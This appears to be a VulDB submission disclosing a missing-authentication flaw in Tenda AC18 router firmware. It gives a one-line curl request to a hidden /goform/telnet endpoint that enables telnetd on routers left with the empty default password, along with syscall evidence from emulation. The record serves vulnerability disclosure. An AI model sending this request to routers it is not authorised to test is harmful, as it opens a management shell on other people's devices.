Submit #894242: Tenda AC18 ac18_kf_V15.03.05.19 Missing Authentication for Critical Function

Tenda AC18 firmware `V15.03.05.19` exposes a hidden `/goform/telnet` handler in `/bin/httpd`. In the firmware's factory-default configuration, `sys.userpass` is empty, and a direct unauthenticated HTTP request reaches the telnet-enable branch and triggers shell commands to start `telnetd` bound to the LAN IP.

This was dynamically validated under the existing `firmrec-idirect` Docker environment with ARM QEMU. The request did **not** include `Cookie`, `Authorization`, or a login step.

## Affected target

- Vendor: Tenda
- Product/Firmware: AC18, `ac18_kf_V15.03.05.19.zip`
- Firmware SHA256: `359d2feac6a7d28bd45a11e60a7062945152f516978deb7d54daea84d9211410`
- Binary: `/bin/httpd`
- Architecture: ARM 32-bit little-endian, uClibc

## Vulnerability

The default web configuration contains an empty admin password:

```text
webroot_ro/default.cfg:298:sys.username=admin
webroot_ro/default.cfg:299:sys.userpass=
```

With that default state loaded, `/goform/telnet` can be requested directly:

```sh
curl -i http://<router>/goform/telnet
```

Observed response:

```text
load telnetd success.
```

Dynamic syscall evidence from `/bin/httpd`:

```text
listen(4,128,...) = 0
execve("/bin/sh", {"sh","-c","killall -9 telnetd",NULL}) = -1 errno=8 (Exec format error)
execve("/bin/sh", {"sh","-c","telnetd -b 192.168.0.1 &",NULL}) = -1 errno=8 (Exec format error)
execve("/bin/sh", {"sh","-c","cfm Post netctrl 19?op=14,wl_rate=24,index=1",NULL}) = -1 errno=8 (Exec format error)
```

`Exec format error` is an emulation artifact from ARM `/bin/sh` child execution in the chroot; the decisive evidence is that the real `httpd` handler reached the command-execution branch and attempted to spawn the telnet commands.

## Dynamic validation notes

- Runtime path: `chroot` + `qemu-arm-static -strace` in Docker container `firmrec-idirect`.
- AC18 requires runtime hardware services normally provided by Broadcom/NVRAM/CFM. For bootstrapping only, the validation used a minimal CFM socket stub that replies from the firmware's own `default.cfg`/`nvram_default.cfg` values.
- Interface names (`br0`, `eth1`, `eth2`, `vlan*`) were mapped to `lo` in a work copy because the Docker network namespace lacks those hardware interfaces and has no `CAP_NET_ADMIN` to create them.
- The vulnerable code path and shell command strings are from the original `/bin/httpd`; the runtime patches are recorded in the evidence package and only unblock emulation.

## Classification

- CWE: CWE-306 Missing Authentication for Critical Function
- Impact: unauthenticated Telnet enablement / management shell exposure in factory-default empty-password state
- Suggested severity: Critical (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`)

## Verification status

-Route exists in served `/bin/httpd`
-Factory-default `sys.userpass=` confirmed from firmware config
-No-cookie HTTP request reached handler
-QEMU syscall trace confirmed telnet shell commands

• Source: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TENDA-AC18-TELNET-DEFAULT-UNAUTH-001-vulndb.md
• User: ST4R0003 (UID 99608)
• Submission: 07/17/2026 19:10 (1 month ago)
• Moderation: 08/30/2026 19:44 (1 month later)
• Status: Accepted
• VulDB entry: 397183 [Tenda AC18 15.03.05.19 Telnet /goform/telnet missing authentication]
• Points: 20